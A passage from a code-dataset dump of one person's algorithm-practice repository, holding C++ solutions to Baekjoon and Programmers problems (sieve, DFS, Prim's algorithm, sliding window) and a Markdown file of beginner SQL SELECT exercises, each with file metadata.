0;\n}"},{"alpha_fraction":0.4153132140636444,"alphanum_fraction":0.45475637912750244,"avg_line_length":14.428571701049805,"blob_id":"bc5875c6809b1a3ccdb3d727e488a65c28ec5f49","content_id":"26b819a3ac3204940201b782a000d2b8eaf64208","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":439,"license_type":"no_license","max_line_length":58,"num_lines":28,"path":"/BOJ/Mathematics/1735.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1735번: 분수 합\nDATE: 2022-03-16\n*/\n#include <iostream>\nusing namespace std;\n\nint gcd(int n, int m){\n if(m == 0) return n;\n else return gcd(m, n % m);\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b, c, d;\n int n, m;\n \n cin >> a >> b >> c >> d;\n \n n = a * d + b * c;\n m = b * d;\n\n int div = gcd(n, m);\n\n cout << n / div << \" \" << m / div;\n \n return 0;\n}"},{"alpha_fraction":0.3262890875339508,"alphanum_fraction":0.34234994649887085,"avg_line_length":20.527273178100586,"blob_id":"f267eb75547bed8f8a1d671c3367d30031430e3c","content_id":"a31835b108b27521c552cd9bf4e3270757e904f5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1211,"license_type":"no_license","max_line_length":58,"num_lines":55,"path":"/BOJ/Implementation/1966.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1966번: 프린터 큐\n2021-10-14\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int tc, n, m, num;\n cin >> tc;\n\n for(int i = 0 ; i < tc ; i++) {\n queue<pair<int,int>> q;\n priority_queue<int> pq;\n int order = 1, idx;\n\n cin >> n >> m;\n\n for(int j = 0 ; j < n ; j++) {\n cin >> num;\n q.push(make_pair(num, j)); // 중요도, 순서\n pq.push(num);\n\n if(j == m) idx = j; // 목표 문서\n }\n\n int max = pq.top();\n\n while(!q.empty()) {\n pair<int, int> cur = q.front();\n\n if(cur.first < max) {\n while(cur.first != max) {\n q.push(q.front()); q.pop();\n cur = q.front();\n }\n }\n else {\n if(cur.second == idx) {\n cout << order << '\\n';\n break;\n }\n else {\n q.pop(); pq.pop();\n max = pq.top();\n order++;\n }\n }\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.37987011671066284,"alphanum_fraction":0.4253246784210205,"avg_line_length":16.13888931274414,"blob_id":"0209841caccc6e521050f001afc054b425e44388","content_id":"1dcbc4a8c693b653297414c960f312f9e1d3faa1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":626,"license_type":"no_license","max_line_length":69,"num_lines":36,"path":"/BOJ/Mathematics/15965.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15965번: K번째 소수\n2022-01-29\n*/\n#include <iostream>\n#include <math.h>\n#define MAX 7400000\nusing namespace std;\n\nint isNotPrime[MAX];\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int k, cnt = 0;\n cin >> k;\n\n for(int i = 2 ; i <= sqrt(MAX) ; i++) {\n if(!isNotPrime[i]) {\n for(int j = i * i ; j <= MAX ; j += i) isNotPrime[j] = 1;\n }\n }\n\n for(int i = 2 ; i <= MAX ; i++) {\n if(!isNotPrime[i]) {\n cnt++;\n\n if(cnt == k) {\n cout << i;\n break;\n }\n }\n }\n\n\n return 0;\n}"},{"alpha_fraction":0.380952388048172,"alphanum_fraction":0.4238095283508301,"avg_line_length":14.774999618530273,"blob_id":"b2f79c2cb4818a919ce21715985a9ae16f662bbb","content_id":"0ba70e4d5171db341101d7882072effc1939a41d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":640,"license_type":"no_license","max_line_length":58,"num_lines":40,"path":"/BOJ/Two Pointer/2003.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2003번: 수들의 합 2\nDATE: 2021-06-01\nTwo Pointer\n*/\n#include <iostream>\n#define MAX 10001\nusing namespace std;\n\nint arr[MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int start=0, end=0, sum=0, answer=0;\n int n, m;\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n \n while(end <= n){\n if(sum < m){\n sum += arr[end];\n end++;\n }\n else if(sum >= m){\n sum -= arr[start];\n start++;\n }\n\n if(sum == m){\n answer++;\n }\n }\n\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.4124087691307068,"alphanum_fraction":0.45985400676727295,"avg_line_length":16.510639190673828,"blob_id":"ba82e3cb497d95bbe9bdb07ef91c8cd5b8bc898c","content_id":"dede551a744fffa4b39c9f02a80253afc8fc5703","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":832,"license_type":"no_license","max_line_length":58,"num_lines":47,"path":"/BOJ/Sliding Window/15961.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15961번: 회전 초밥\nDATE: 2021-08-03\nSliding Window\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint arr[3000001];\nint sushi[3001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, d, k, c, cnt=0, ans=-1;\n int start, end, total;\n cin >> n >> d >> k >> c;\n\n for(int i = 0 ; i < n ; i++)\n cin >> arr[i];\n for(int i = 0 ; i < k ; i++){\n sushi[arr[i]]++;\n if(sushi[arr[i]] == 1) cnt++;\n }\n\n if(++sushi[c] == 1) cnt++;\n\n start = 0;\n end = k - 1;\n\n while(start < n){\n ans = max(ans, cnt);\n end = (end + 1) % n;\n\n sushi[arr[start]]--;\n if(sushi[arr[start]] == 0) cnt--;\n\n sushi[arr[end]]++;\n if(sushi[arr[end]] == 1) cnt++;\n\n start++;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.6295694708824158,"alphanum_fraction":0.681559681892395,"avg_line_length":16.338027954101562,"blob_id":"dd0715e8c9b6c2a3db30d8c1d553fd320b04357b","content_id":"1aa72ea846820fcd45a9662c2f0a0c056628cdcb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1335,"license_type":"no_license","max_line_length":89,"num_lines":71,"path":"/programmers/SQL/SELECT.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# SELECT\n\n**[1. 모든 레코드 조회하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59034)**\n\n```sql\nSELECT *\nFROM ANIMAL_INS\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[2. 역순 정렬하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59035)**\n\n```sql\nSELECT NAME, DATETIME\nFROM ANIMAL_INS\nORDER BY ANIMAL_ID DESC\n```\n\n<br/>\n\n**[3. 아픈 동물 찾기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59036)**\n\n```sql\nSELECT ANIMAL_ID, NAME\nFROM ANIMAL_INS\nWHERE INTAKE_CONDITION = 'SICK'\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[4. 어린 동물 찾기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59037)**\n\n```sql\nSELECT ANIMAL_ID, NAME FROM ANIMAL_INS\nWHERE INTAKE_CONDITION != 'Aged'\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[5. 동물의 아이디와 이름 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59403)**\n\n```sql\nSELECT ANIMAL_ID, NAME\nFROM ANIMAL_INS\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[6. 여러 기준으로 정렬하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59404)**\n\n```sql\nSELECT ANIMAL_ID, NAME, DATETIME\nFROM ANIMAL_INS\nORDER BY NAME, DATETIME DESC\n```\n\n<br/>\n\n**[7. 상위 n개 레코드 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59405)**\n\n```sql\nSELECT NAME\nFROM ANIMAL_INS\nORDER BY DATETIME\nLIMIT 1\n```\n"},{"alpha_fraction":0.42227378487586975,"alphanum_fraction":0.4617169499397278,"avg_line_length":16.97916603088379,"blob_id":"f6ac31649aa827bf5fd420da0af9a27484847e3d","content_id":"57b2d478985c1fffbcc331f6a46dd15e5db2f48d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":872,"license_type":"no_license","max_line_length":58,"num_lines":48,"path":"/BOJ/BFS_DFS/15900.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15900번: 나무 탈출\nDATE: 2021-09-10\nDFS\n*/\n#include <iostream>\n#include <vector>\n#define MAX 500001\nusing namespace std;\n\nint n, total=0;\nvector<int> v[MAX];\nint visited[MAX];\n\nvoid dfs(int node, int depth){\n visited[node] = true;\n\n if(node != 1 && v[node].size() == 1){ //leaf node\n total += depth;\n }\n else {\n for(int i = 0 ; i < v[node].size() ; i++){\n if(!visited[v[node][i]]){\n dfs(v[node][i], depth + 1);\n visited[v[node][i]] = false;\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b;\n cin >> n;\n\n for(int i = 0 ; i < n - 1 ; i++){\n cin >> a >> b;\n v[a].push_back(b);\n v[b].push_back(a);\n }\n\n dfs(1, 0);\n\n if(total % 2 == 0) cout << \"No\\n\";\n else cout << \"Yes\\n\";\n\n return 0;\n}"},{"alpha_fraction":0.43296703696250916,"alphanum_fraction":0.4879120886325836,"avg_line_length":14.199999809265137,"blob_id":"d6e644cad9a3d12a2fb252860208a1a702d37406","content_id":"6f4b35d5faef458bc1119d171ae98a3315802e6b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":505,"license_type":"no_license","max_line_length":55,"num_lines":30,"path":"/BOJ/Greedy/11047.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 11047번: 동전 0\nDATE: 2021-01-10\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\tint n, k, val, cnt=0;\n\tint arr[10];\n\n\tcin >> n >> k;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> val;\n\t\tarr[i] = val;\n\t}\n\n\tfor (int i = n-1 ; i >= 0; i--) {\n\t\tif (k / arr[i] > 0) { //몫이 양수이면\n\t\t\tcnt += k / arr[i]; //동전 개수 더함\n\t\t\tk -= arr[i] * (k / arr[i]); //위에서 더한 값만큼 빼줌\n\t\t}\n\t}\n\n\tcout << cnt;\n\n\treturn 0;\n}"},{"alpha_fraction":0.470703125,"alphanum_fraction":0.4970703125,"avg_line_length":17.636363983154297,"blob_id":"30b143ae8a82ee22f37874e522d2f291f8ca6936","content_id":"c2c688fe0c56e0085c6a63c9211253925f656a56","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1034,"license_type":"no_license","max_line_length":68,"num_lines":55,"path":"/BOJ/MST/16398.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16398번: 행성 연결\nDATE: 2022-03-02\nPrim Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 1001\n#define pii pair<int,int>\nusing namespace std;\n\nvector<pii> edge[MAX];\nbool visited[MAX];\n\nlong long prim(){\n long long ans = 0;\n priority_queue<pii, vector<pii>, greater<pii>> pq;\n pq.push({0, 1});\n \n while(!pq.empty()){\n int dis = pq.top().first;\n int cur = pq.top().second;\n pq.pop();\n\n if(visited[cur]) continue;\n visited[cur] = true;\n ans += dis;\n\n for(int i = 0 ; i < edge[cur].size() ; i++){\n if(!visited[edge[cur][i].second]) pq.push(edge[cur][i]);\n }\n }\n\n return ans;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num;\n cin >> n;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n cin >> num;\n\n if(i == j) continue;\n edge[i].push_back({num, j});\n }\n }\n\n cout << prim();\n\n return 0;\n}"},{"alpha_fraction":0.39371258020401,"alphanum_fraction":0.428143709897995,"avg_line_length":17.58333396911621,"blob_id":"978ceeb65f295e11400e49cc2ca0f0021b856216","content_id":"87ef34ef43ae724fc88bf0644de349146e0a0ce2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":678,"license_type":"no_license","max_line_length":58,"num_lines":36,"path":"/BOJ/Brute Force/1543.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1543번: 문서 검색\nDATE: 2021-04-04\n*/\n#include <iostream>\n#include <string>\n\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int cnt = 0, ans=0;\n string str, search;\n\n getline(cin, str);\n getline(cin, search);\n\n for(int i = 0 ; i < str.size() ; i++){\n if(str[i] == search[0]){\n for(int j = 0 ; j < search.size() ; j++){\n if(str[i++] == search[j]) cnt++;\n }\n\n if(cnt == search.size()){\n ans++;\n i -= 1;\n }\n else i -= search.size();\n }\n cnt = 0;\n }\n\n cout << ans;\n\n return 0;\n}"}],"string":"[\n {\n \"alpha_fraction\": 0.316546767950058,\n \"alphanum_fraction\": 0.38309353590011597,\n \"avg_line_length\": 15.878787994384766,\n \"blob_id\": \"ebec607c7d6942d5e20b716930ff3a579d112d1a\",\n \"content_id\": \"d9f0651a284c0090b76445a514f762bed3df9824\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 586,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 33,\n \"path\": \"/BOJ/Brute Force/1065.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1065번: 한수\\n2021-05-18\\nBrute Force\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, ans=0;\\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++){\\n if(i < 100){\\n ans++;\\n continue;\\n }\\n else{\\n int n1 = i % 10; // 일의 자리\\n int n2 = (i / 10) % 10; // 십의 자리\\n int n3 = i / 100; // 십의 자리\\n\\n if(n3 - n2 == n2 - n1){\\n ans++;\\n }\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4126712381839752,\n \"alphanum_fraction\": 0.45034247636795044,\n \"avg_line_length\": 15.714285850524902,\n \"blob_id\": \"08ecc5168ce2c50627601ace02824bbfc361f7a5\",\n \"content_id\": \"3ba80cad7f3a7b88aa95e6c2f225e402be575fcc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 598,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Greedy/1715.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1715번: 카드 정렬하기\\nDATE: 2022-01-30\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n priority_queue<int, vector<int>, greater<int>> pq;\\n int n, num, ans = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n pq.push(num);\\n }\\n\\n while(pq.size() > 1) {\\n int sum = 0;\\n\\n for(int i = 0 ; i < 2 ; i++) {\\n sum += pq.top();\\n pq.pop();\\n }\\n\\n ans += sum;\\n pq.push(sum);\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4514435827732086,\n \"alphanum_fraction\": 0.4842519760131836,\n \"avg_line_length\": 14.895833015441895,\n \"blob_id\": \"119716bbe1c37e59fd0d4f8523473ab7c3dbd6ad\",\n \"content_id\": \"e51878c919884a0fc3047a84ca6ba98cefca174b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 766,\n \"license_type\": \"no_license\",\n \"max_line_length\": 64,\n \"num_lines\": 48,\n \"path\": \"/BOJ/BFS_DFS/15649.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15649번: N과 M (1)\\n2022-01-04\\nBacktracking\\n*/\\n#include <iostream>\\n#include <vector>\\n#define MAX 8\\nusing namespace std;\\n\\nint n, m;\\nvector<int> num;\\nvector<int> ans; \\nbool visited[MAX]; \\n\\nvoid print(){\\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \\\" \\\";\\n cout << '\\\\n';\\n}\\n\\nvoid dfs(int cnt){\\n if(cnt == m) {\\n print();\\n return;\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n if(visited[i]) continue;\\n\\n ans.push_back(num[i]);\\n visited[i] = true;\\n\\n dfs(cnt + 1);\\n \\n ans.pop_back();\\n visited[i] = false;\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++) num.push_back(i + 1);\\n dfs(0);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3942953050136566,\n \"alphanum_fraction\": 0.4194630980491638,\n \"avg_line_length\": 24.934782028198242,\n \"blob_id\": \"a00c127308289c600769e6a188000fa3d3762efb\",\n \"content_id\": \"11a17fbdd07e69a1ce8a11f94c96b6d7c3ee7421\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1232,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 46,\n \"path\": \"/programmers/Level 1/number_strings_and_english_words.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1: 숫자 문자열과 영단어\\n//2021 카카오 채용연계형 인턴십\\n//2021-09-21\\n#include <string>\\n#include <vector>\\n#include <iostream>\\n\\nusing namespace std;\\n\\nint solution(string s) {\\n int answer = 0;\\n string str;\\n \\n for(int i = 0 ; i < s.length() ; i++){\\n if(!isdigit(s[i])) {\\n string tmp;\\n \\n while(1) {\\n if(tmp == \\\"zero\\\") {str += \\\"0\\\"; break;}\\n else if(tmp == \\\"one\\\"){ str += \\\"1\\\"; break;}\\n else if(tmp == \\\"two\\\") {str += \\\"2\\\"; break;}\\n else if(tmp == \\\"three\\\") {str += \\\"3\\\"; break;}\\n else if(tmp == \\\"four\\\") {str += \\\"4\\\"; break;}\\n else if(tmp == \\\"five\\\") {str += \\\"5\\\"; break;}\\n else if(tmp == \\\"six\\\") {str += \\\"6\\\"; break;}\\n else if(tmp == \\\"seven\\\") {str += \\\"7\\\"; break;}\\n else if(tmp == \\\"eight\\\") {str += \\\"8\\\"; break;}\\n else if(tmp == \\\"nine\\\") {str += \\\"9\\\"; break;}\\n tmp += s[i++];\\n }\\n i--;\\n }\\n else str += s[i];\\n }\\n \\n answer = stoi(str);\\n\\n return answer;\\n}\\n\\nint main(){\\n int answer = solution(\\\"2three45sixseven\\\");\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5038202404975891,\n \"alphanum_fraction\": 0.5213482975959778,\n \"avg_line_length\": 23.733333587646484,\n \"blob_id\": \"bce3dc850f11534397611503369057a072ab11b1\",\n \"content_id\": \"5f16e1359a4bf381ca3975cb62593dc8db1559e0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2409,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 90,\n \"path\": \"/BOJ/Implementation/1713.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1713번: 후보 추천하기\\nDATE: 2021-07-17\\n*/\\n#include <iostream>\\n#include <map>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\nmap <int, pair<int, int>> m; //추천받은 학생, (추천 수, 들어온 시기)\\n\\nbool cmp1(const pair<int,pair<int,int>>& a, const pair<int, pair<int,int>>& b){\\n if(a.second.first == b.second.first) return a.first < b.first;\\n return a.second.first < b.second.first;\\n}\\n\\nbool cmp2(const pair<int,pair<int,int>>& a, const pair<int, pair<int,int>>& b){\\n if(a.second.second == b.second.second) return a.first < b.first;\\n return a.second.second < b.second.second;\\n}\\n\\nvoid insert(int student, int n){\\n if(m.find(student) != m.end()){ //해당 학생이 이미 존재\\n m[student].first++; \\n }\\n else{ //새로운 학생 삽입\\n m[student].first = 1;\\n m[student].second = n;\\n }\\n}\\n\\nvoid erase(int student, int n){\\n if(m.find(student) != m.end()){\\n m[student].first++;\\n return;\\n }\\n\\n vector<pair<int,pair<int,int>>> vec1(m.begin(), m.end());\\n sort(vec1.begin(), vec1.end(), cmp1); //추천 순으로 정렬\\n\\n int recommend = vec1[0].second.first, cnt=0;\\n\\n for(auto it : vec1){\\n if(it.second.first == recommend) cnt++;\\n }\\n\\n if(cnt == 1){ //추천 횟수 제일 적은 학생 삭제\\n m.erase(vec1[0].first);\\n } \\n else if(cnt > 1){ //추천 수 가장 적은 학생이 두 명 이상\\n map<int, pair<int,int>> same_r;\\n\\n for(auto it : vec1){\\n if(recommend == it.second.first){\\n same_r[it.first].first = it.second.first; //추천 수\\n same_r[it.first].second = it.second.second; //들어온 시기\\n }\\n }\\n\\n vector<pair<int,pair<int,int>>> vec2(same_r.begin(), same_r.end());\\n sort(vec2.begin(), vec2.end(), cmp2); //들어온 시기 순으로 정렬\\n \\n m.erase(vec2[0].first);\\n }\\n \\n insert(student, n);\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, r, student;\\n cin >> n >> r;\\n\\n for(int i = 0 ; i < r ; i++){\\n cin >> student;\\n\\n if(m.size() < n){ //삽입\\n insert(student, i); \\n }\\n else if(m.size() == n){ //삭제\\n erase(student, i);\\n }\\n }\\n\\n for(auto it = m.begin() ; it != m.end() ; it++){\\n cout << it->first << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.43234673142433167,\n \"alphanum_fraction\": 0.5010570883750916,\n \"avg_line_length\": 23.28205108642578,\n \"blob_id\": \"34a02e5b7129b0c28878e5b5688f5f45d31ab84e\",\n \"content_id\": \"8a93a5dab894cd00baefdc3fcb1400e7ce2e31b8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 954,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 39,\n \"path\": \"/programmers/Level 1/mock_test.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1: 모의고사\\n//2021-09-30\\n#include <iostream>\\n#include <algorithm>\\n#include <string>\\n#include <vector>\\n\\nusing namespace std;\\n\\nvector<int> vec1 = {1, 2, 3, 4, 5}, vec2 = {2, 1, 2, 3, 2, 4, 2, 5}, vec3 = {3, 3, 1, 1, 2, 2, 4, 4, 5, 5};\\n\\nvector<int> solution(vector<int> answers) {\\n vector<int> ans(3), answer;\\n int ans1 = 0, ans2 = 0, ans3 = 0;\\n \\n for(int i = 0 ; i < answers.size() ; i++){\\n if(vec1[i % vec1.size()] == answers[i]) ans[0]++;\\n if(vec2[i % vec2.size()] == answers[i]) ans[1]++;\\n if(vec3[i % vec3.size()] == answers[i]) ans[2]++;\\n }\\n\\n int max_score = max(max(ans[0], ans[1]), ans[2]);\\n \\n for(int i = 0 ; i < 3 ; i++){\\n if(ans[i] == max_score) answer.push_back(i + 1);\\n }\\n \\n return answer;\\n}\\n\\nint main() {\\n vector<int> answer = solution({1, 3, 2, 4, 2});\\n \\n for(int i = 0 ; i < answer.size() ; i++) {\\n cout << answer[i];\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4557739496231079,\n \"alphanum_fraction\": 0.48402947187423706,\n \"avg_line_length\": 17.11111068725586,\n \"blob_id\": \"437a0627db97ded88082bfc1c02a81ec5fb7097e\",\n \"content_id\": \"c0cd727ed9a9da0168e6d9fc4a055abcbee9c423\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 836,\n \"license_type\": \"no_license\",\n \"max_line_length\": 48,\n \"num_lines\": 45,\n \"path\": \"/programmers/Level 2/k_prime_number.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: k진수에서 소수 개수 구하기\\n2022 KAKAO BLIND RECRUITMENT\\nDATE: 2022-04-02\\n*/\\n#include <string>\\n#include <vector>\\n#include <algorithm>\\n#include <math.h>\\nusing namespace std;\\n\\nint answer = 0;\\n\\nbool isPrime(long long num){\\n if(num < 2) return false;\\n \\n for(long long i = 2 ; i <= sqrt(num) ; i++){\\n if(num % i == 0) return false;\\n }\\n \\n return true;\\n}\\n\\nint solution(int n, int k) {\\n string str, tmp = \\\"\\\";\\n \\n while(n > 0){\\n str += n % k + 48;\\n n /= k;\\n }\\n \\n reverse(str.begin(), str.end());\\n \\n for(int i = 0 ; i < str.length() ; i++){\\n if(str[i] == '0' && tmp.length() > 0){\\n if(isPrime(stoi(tmp))) answer++;\\n tmp = \\\"\\\";\\n }\\n else tmp += str[i];\\n }\\n \\n if(isPrime(stoll(tmp))) answer++;\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4396551847457886,\n \"alphanum_fraction\": 0.4913793206214905,\n \"avg_line_length\": 14.5,\n \"blob_id\": \"87f4fa7eab2ac87b463e11db9d39e807fd23e95d\",\n \"content_id\": \"f4a6b0a89f53317d1cb09fbcd9c4b7bb49aad792\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 470,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Prefix Sum/2559.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2559번: 수열\\nDATE: 2022-01-23\\nPrefix Sum\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint arr[100001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n priority_queue<int> pq;\\n int n, k;\\n \\n cin >> n >> k;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n cin >> arr[i];\\n arr[i] += arr[i - 1];\\n\\n if(i < k) continue;\\n pq.push(arr[i] - arr[i - k]);\\n }\\n\\n cout << pq.top();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5682656764984131,\n \"alphanum_fraction\": 0.6125461459159851,\n \"avg_line_length\": 19.923076629638672,\n \"blob_id\": \"564b46a481f9ec394c5c93448434622992d536c3\",\n \"content_id\": \"e6920be339292aa8186baa78a5d32e0c5df3322c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 289,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 13,\n \"path\": \"/programmers/Level 1/calculate_the_shortfall.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 부족한 금액 계산하기\\ndate: 2022-03-27\\n*/\\nusing namespace std;\\n\\nlong long solution(int price, int money, int count)\\n{\\n long long answer = 0;\\n for(int i = 1 ; i <= count ; i++) answer += price * i;\\n \\n return answer > money ? answer - money : 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.49501660466194153,\n \"alphanum_fraction\": 0.5315614342689514,\n \"avg_line_length\": 20.023256301879883,\n \"blob_id\": \"e44bfec946ae96809c669eacf1867c8422db5882\",\n \"content_id\": \"15c3827bb942147ca017b775b6fa08ee50e84e4a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 963,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 43,\n \"path\": \"/BOJ/Binary Search/14002.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14002번: 가장 긴 증가하는 부분 수열 4\\nDATE: 2022-01-06\\nUPDATE: 2022-02-21\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nvector<int> input, lis, index;\\n\\nvoid backtrace(int idx, int num){\\n if(idx == -1) return;\\n if(index[idx] == num){\\n backtrace(idx - 1, num - 1);\\n cout << input[idx] << \\\" \\\";\\n }\\n else backtrace(idx - 1, 